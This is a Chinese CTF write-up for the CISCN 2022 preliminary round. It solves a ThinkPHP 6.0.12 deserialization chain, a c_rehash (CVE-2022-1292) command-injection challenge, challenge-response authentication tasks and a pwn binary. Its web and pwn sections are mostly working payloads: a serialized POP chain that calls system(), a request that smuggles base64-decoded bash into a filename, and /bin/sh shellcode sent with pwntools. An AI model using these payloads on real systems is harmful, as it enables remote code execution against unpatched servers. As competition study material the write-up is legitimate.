MapleLeaves WriteUp

队员

Do1phln b477ery sfc9982 0HB

Web

Ezpop

thinkphp 6.0.12lts 存在反序列化漏洞 https://www.freebuf.com/vuls/321546.html
扫描可知 www.zip 存在源码泄露,下载后可知存在反序列化路由 /index.php/index/test

  1. <?php
  2. namespace think{
  3. abstract class Model{
  4. private $lazySave = false;
  5. private $data = [];
  6. private $exists = false;
  7. protected $table;
  8. private $withAttr = [];
  9. protected $json = [];
  10. protected $jsonAssoc = false;
  11. function __construct($obj = ''){
  12. $this->lazySave = True;
  13. // $this->data = ['whoami' => ['ls /']];
  14. $this->data = ['whoami' => ['tac /flag.txt']];
  15. $this->exists = True;
  16. $this->table = $obj;
  17. $this->withAttr = ['whoami' => ['system']];
  18. $this->json = ['whoami',['whoami']];
  19. $this->jsonAssoc = True;
  20. }
  21. }
  22. }
  23. namespace think\model{
  24. use think\Model;
  25. class Pivot extends Model{
  26. }
  27. }
  28. namespace{
  29. echo(urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
  30. }
  1. url: /index.php/index/test
  2. post: a=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A13%3A%22tac+%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A13%3A%22tac+%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D

online_crt

c_rehash 存在漏洞 https://www.secrss.com/articles/42602 CVE-2022-1292
先通过 /getcrt 获取文件名
再通过 /proxy 访问 go 服务更改文件名为命令
最后通过 /createlink 调用 c_rehash 执行命令

  1. GET /proxy HTTP/1.1
  2. Host: xxx:8888
  3. Content-Length: 316
  4. Cache-Control: max-age=0
  5. Upgrade-Insecure-Requests: 1
  6. Origin: http://xxx:8888
  7. Content-Type: application/x-www-form-urlencoded
  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  10. Referer: http://xxx:8888/
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.9
  13. Cookie: __jsluid_h=47deb9dd4ec6dca0063283f9453e7643
  14. Connection: close
  15. uri=/admin/%25%37%32%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%3foldname%3d24950c68-7018-4cd7-97c9-239cf4ecd3a7.crt%26newname%3d`touch%2b\`echo%2bY2F0IC9mKgo=|base64%2b-d|bash\``.crt HTTP/1.1
  16. Host: admin
  17. User-Agent: admin
  18. Accept-Encoding: gzip, deflate
  19. Accept-Language: zh-CN,zh;q=0.9
  20. Connection: close

Crypto

电台签到

根据微信里公众号提示,找到密码本,进行模10运算,得到:

CISCN2022全国初赛题解WriteUp-MapleLeaves - 图1

也根据微信里提示,先用BurpSuit抓包发s,然后修改再发上面的数字,即:

  • GET /send?msg=sJ HTTP/1.1
  • GET /send?msg=2975115315066710252297245914J HTTP/1.1

依次发包,获得flag。

基于挑战码的双向认证

有终端term与服务器server,用户alice拟通过term登录server,alice与server共享密钥key。为防止重放攻击,term与server间拟采取基于挑战码的双向认证协议,其过程如下所述:

  1. term生成随机数rA,并向server端发送。
  2. server端生成随机数rB,计算MB=SM3(key, rA||rB),并向term发送rB 与MB。
  3. term计算MB’= SM3(key, rA||rB),并与MB比较,若一致则确认服务器端正确。
  4. term计算MA=SM3(key,rB),并将MA发送给Server
  5. Server计算MA’=SM3(key,rB),并与MA比较,若一致则确认客户端登录正确。

客户端登录功能由user_client模块执行,服务器端登录功能由user_server模块执行。

完成user_client模块,并通过测试程序的验证。

使用 find / -name "*flag*"

可以找到位于 /root/cube-shell/instance/flag_server 下的:

  1. /root/cube-shell/instance/flag_server/flag2.txt
  2. /root/cube-shell/instance/flag_server/flag1.txt
  3. /root/cube-shell/instance/flag_server/flag.list

可得到flag

基于挑战码的双向认证2

审计了位于src/login_user的系统源码。

修改了位于login_user模块的proc_login_response函数,完伪装待发送的(USER_DEFINE,LOGIN)数据完成认证过程。

先使用make

再执行login-challenge.sh启动评测

以player用户身份登入系统。题目提供测试环境与评分环境。两环境中均各有:

  • 服务实例 cube-challenge/instance/server
  • 用户实例 cube-challenge/instance/user
  • 非法服务器实例 cube-challenge/instance/hacker_server

当Login时,hacker_server在没有密钥的情况下试图冒充正常服务器端

基于挑战码的双向认证3

进入虚拟机后,发现名为的Instance

CISCN2022全国初赛题解WriteUp-MapleLeaves - 图2

注意到passwd用来存放认证相关数据(sm3计算结果),nonce则用来存放双方交换的随机数

使用覆盖率检查,各个声明中可能存在的缓冲区漏洞,以影响内存数据库,但未能成功利用。

最后,使用弱口令字典及模糊测试(Fuzz Test

https://github.com/google/AFL

为了加速,应用补丁:

  1. diff --git a/sshd.c b/sshd.c
  2. --- a/sshd.c
  3. +++ b/sshd.c
  4. @@ -1840,6 +1840,8 @@ main(int ac, char **av)
  5. /* ignore SIGPIPE */
  6. signal(SIGPIPE, SIG_IGN);
  7. + __AFL_INIT();
  8. +
  9. /* Get a connection, either from inetd or a listening TCP socket */
  10. if (inetd_flag) {
  11. server_accept_inetd(&sock_in, &sock_out);

CISCN2022全国初赛题解WriteUp-MapleLeaves - 图3

发现弱口令后,获得root用户权限(Password:toor)

提权后即可访问flag.txt文件

Pwn

login-normal

下载到文件sign后拖入IDA进行具体分析
首先对main模块进行分析

  1. void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
  2. {
  3. char s[1032]; // [rsp+0h] [rbp-410h] BYREF
  4. unsigned __int64 v4; // [rsp+408h] [rbp-8h]
  5. v4 = __readfsqword(0x28u);
  6. sub_C0A(a1, a2, a3);
  7. while ( 1 )
  8. {
  9. memset(s, 0, 0x400uLL);
  10. printf(">>> ");//输出提示符
  11. read(0, s, 0x3FFuLL);//读入数据s,定长
  12. sub_FFD(s);//调用函数
  13. }
  14. }

可以看出在read字符串s后便执行sub_FFD,继续跟进分析sub_FFD

  1. unsigned __int64 __fastcall sub_FFD(_BYTE *a1)
  2. {
  3. char *sa; // [rsp+8h] [rbp-48h]
  4. char *sb; // [rsp+8h] [rbp-48h]
  5. char *sc; // [rsp+8h] [rbp-48h]
  6. char *sd; // [rsp+8h] [rbp-48h]
  7. char v7; // [rsp+17h] [rbp-39h]
  8. int v8; // [rsp+1Ch] [rbp-34h]
  9. int v9; // [rsp+2Ch] [rbp-24h]
  10. void *dest; // [rsp+30h] [rbp-20h]
  11. char *s1; // [rsp+38h] [rbp-18h]
  12. char *nptr; // [rsp+40h] [rbp-10h]
  13. unsigned __int64 v13; // [rsp+48h] [rbp-8h]
  14. v13 = __readfsqword(0x28u);
  15. memset(qword_202040, 0, sizeof(qword_202040));
  16. v8 = 0;
  17. v7 = 0;
  18. dest = 0LL;
  19. while ( !*a1 || *a1 != 10 && (*a1 != 13 || a1[1] != 10) )// 关于a[0]和a[1]的判定关系
  20. {
  21. if ( v8 <= 5 )
  22. qword_202040[2 * v8] = a1; // 处理的位分别是0,8,16,24,32
  23. sb = strchr(a1, 58); // 找到字符':'位置
  24. if ( !sb )
  25. {
  26. puts("error.");
  27. exit(1);
  28. }
  29. *sb = 0; // 将找到':'的位置数值变为0
  30. for ( sc = sb + 1; *sc && (*sc == ' ' || *sc == '\r' || *sc == '\n' || *sc == '\t'); ++sc )// sc=sb的下一位,sc满足在范围内且等于指定字符
  31. *sc = 0; // 当前字符置0
  32. if ( !*sc )
  33. {
  34. puts("abort.");
  35. exit(2);
  36. }
  37. if ( v8 <= 5 )
  38. qword_202040[2 * v8 + 1] = sc; // (0,8,16,24,32)+1出来的值
  39. sd = strchr(sc, '\n');
  40. if ( !sd )
  41. {
  42. puts("error.");
  43. exit(3);
  44. }
  45. *sd = 0; // 置零
  46. a1 = sd + 1; // 首位置到sd的下一位
  47. if ( *a1 == '\r' ) // 如果当前位是\r下一位置0
  48. *a1++ = 0;
  49. s1 = (char *)qword_202040[2 * v8]; // 0,8,16,24,32
  50. nptr = (char *)qword_202040[2 * v8 + 1];
  51. if ( !strcasecmp(s1, "opt") )
  52. {
  53. if ( v7 )
  54. { // 第一次opt退出
  55. puts("error.");
  56. exit(5);
  57. }
  58. v7 = atoi(nptr);
  59. }
  60. else
  61. {
  62. if ( strcasecmp(s1, "msg") ) // 是否是msg
  63. {
  64. puts("error.");
  65. exit(4);
  66. }
  67. if ( strlen(nptr) <= 1 )
  68. {
  69. puts("error.");
  70. exit(5);
  71. }
  72. v9 = strlen(nptr) - 1;
  73. if ( dest )
  74. {
  75. puts("error.");
  76. exit(5);
  77. }
  78. dest = calloc(v9 + 8, 1uLL);
  79. if ( v9 <= 0 )
  80. {
  81. puts("error.");
  82. exit(5);
  83. }
  84. memcpy(dest, nptr, v9);
  85. }
  86. ++v8;
  87. }
  88. *a1 = 0;
  89. sa = a1 + 1;
  90. if ( *sa == '\n' ) // 如果是换行符就赋值0
  91. *sa = 0;
  92. switch ( v7 )
  93. {
  94. case 2:
  95. sub_DA8((const char *)dest);
  96. break;
  97. case 3:
  98. sub_EFE((const char *)dest);
  99. break;
  100. case 1:
  101. sub_CBD((const char *)dest);
  102. break;
  103. default:
  104. puts("error.");
  105. exit(6);
  106. }
  107. return __readfsqword(0x28u) ^ v13;
  108. }

由上述可知,要进行两次校验,在连接之后就需要先写通过校验才可以进行后续操作,即'opt:1\r\nmsg:ro0t\r\nopt:2\r\nmsg:,且最终结尾必须是\r\n

绕过以后,进一步分析绕过之后执行的函数内容,sub_DA8函数内容如下

  1. unsigned __int64 __fastcall sub_DA8(const char *a1)
  2. {
  3. unsigned int v1; // eax
  4. size_t v2; // rax
  5. int i; // [rsp+14h] [rbp-2Ch]
  6. void *dest; // [rsp+18h] [rbp-28h]
  7. unsigned __int64 v6; // [rsp+28h] [rbp-18h]
  8. v6 = __readfsqword(0x28u);
  9. for ( i = 0; i < strlen(a1); ++i )
  10. {
  11. if ( !isprint(a1[i]) && a1[i] != 10 )
  12. {
  13. puts("oh!");
  14. exit(-1);
  15. }
  16. }
  17. if ( unk_202028 != 1 )
  18. {
  19. puts("oh!");
  20. exit(-1);
  21. }
  22. if ( unk_202024 )
  23. {
  24. v1 = getpagesize();
  25. dest = (void *)(int)mmap((char *)&loc_FFE + 2, v1, 7, 34, 0, 0LL);
  26. v2 = strlen(a1);
  27. memcpy(dest, a1, v2);
  28. ((void (*)(void))dest)(); //shellcode利用转换执行
  29. }
  30. else
  31. {
  32. puts(a1);
  33. }
  34. return __readfsqword(0x28u) ^ v6;
  35. }

因此可见只需要填充对应数组执行shellcode即可,直接找到相应的执行/bin/sh的shellcode如下:

  1. push edx
  2. push 0x36363630
  3. push esp
  4. pop ecx
  5. xor dword ptr ds:[ecx],esi
  6. xor esi,dword ptr ds:[ecx]
  7. pop eax
  8. push 0x33333333
  9. xor dword ptr ds:[ecx],esi
  10. imul esi,dword ptr ds:[ecx],0x33
  11. pop eax
  12. push 0x69
  13. push esi
  14. xor dword ptr ds:[ecx],esi
  15. dec eax
  16. arpl word ptr ds:[ecx],si
  17. pop edx
  18. pop eax
  19. pop ecx
  20. xor word ptr ds:[ecx+esi*2+0x49],dx
  21. dec eax
  22. cmp word ptr ds:[ebx+0x44],bp
  23. jno short tested.004780A6
  24. xor byte ptr ds:[edx],dh
  25. inc esp
  26. jno short tested.004780AC
  27. xor byte ptr ds:[ecx+esi+0x48],al
  28. jnz short tested.0047808D
  29. dec ebp
  30. xor al,byte ptr ds:[edi+0x30]
  31. pop edx
  32. xor ch,byte ptr ds:[edi+0x34]
  33. dec eax
  34. xor byte ptr ss:[ebp+0x30],dh
  35. push eax
  36. xor dword ptr ds:[esi],esi
  37. xor byte ptr ds:[edx+0x30],bl
  38. aaa
  39. dec edi
  40. xor byte ptr ds:[edx+0x30],bl
  41. inc ebx
  42. xor dword ptr ds:[eax],esi
  43. xor byte ptr ds:[ecx+0x35],bh
  44. dec edi
  45. xor eax,dword ptr ds:[edi+0x30]
  46. xor dh,byte ptr ds:[eax]
  47. inc edx
  48. xor ch,byte ptr ds:[esi+0x30]
  49. xor byte ptr ss:[esi+0x34],cl
  50. jno short tested.004780B8
  51. outs dx,byte ptr es:[edi]
  52. xor dh,byte ptr ds:[eax+esi+0x42]
  53. xor byte ptr ds:[eax],dh
  54. xor byte ptr ds:[ecx],dh
  55. xor byte ptr ds:[ecx],dh
  56. xor byte ptr ds:[eax+0x33],cl
  57. push ebx
  58. xor bh,byte ptr ds:[ecx+0x30]
  59. pop ecx
  60. xor byte ptr ds:[edi+0x30],cl
  61. outs dx,byte ptr es:[edi]
  62. xor byte ptr ds:[edx+0x30],bh
  63. xor dword ptr ds:[ebx],esi
  64. xor al,0x30
  65. xor al,byte ptr fs:[esi+0x34]
  66. jns short tested.004780E4
  67. push eax
  68. xor dword ptr ds:[ecx],esi
  69. xor eax,0x306E316C
  70. dec edx
  71. xor byte ptr ds:[eax+0x30],ch
  72. popad
  73. xor byte ptr ds:[edi],dh
  74. xor byte ptr ds:[eax+eax],dh
  75. add bh,bh
  76. add byte ptr ds:[eax],al
  77. add bh,bh
  78. pop eax
  79. inc ecx

然后即可写出最终的poc

  1. #!/usr/bin/env python
  2. #coding=utf-8
  3. from pwn import*
  4. ip = ""
  5. port =
  6. io = remote(ip,port)
  7. libc = ELF('./libc-2.23.so')
  8. io.recvuntil(">>>")
  9. io.sendline('opt:1\r\nmsg:ro0t\r\n') ##绕过1
  10. shellcode = 'Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
  11. io.recvuntil(">>>")
  12. io.sendline('opt:2\r\nmsg:'+shellcode+'\r\n') #poc
  13. io.interactive()

经过测试,成功进入交互模式,使用cat flag即可得到flag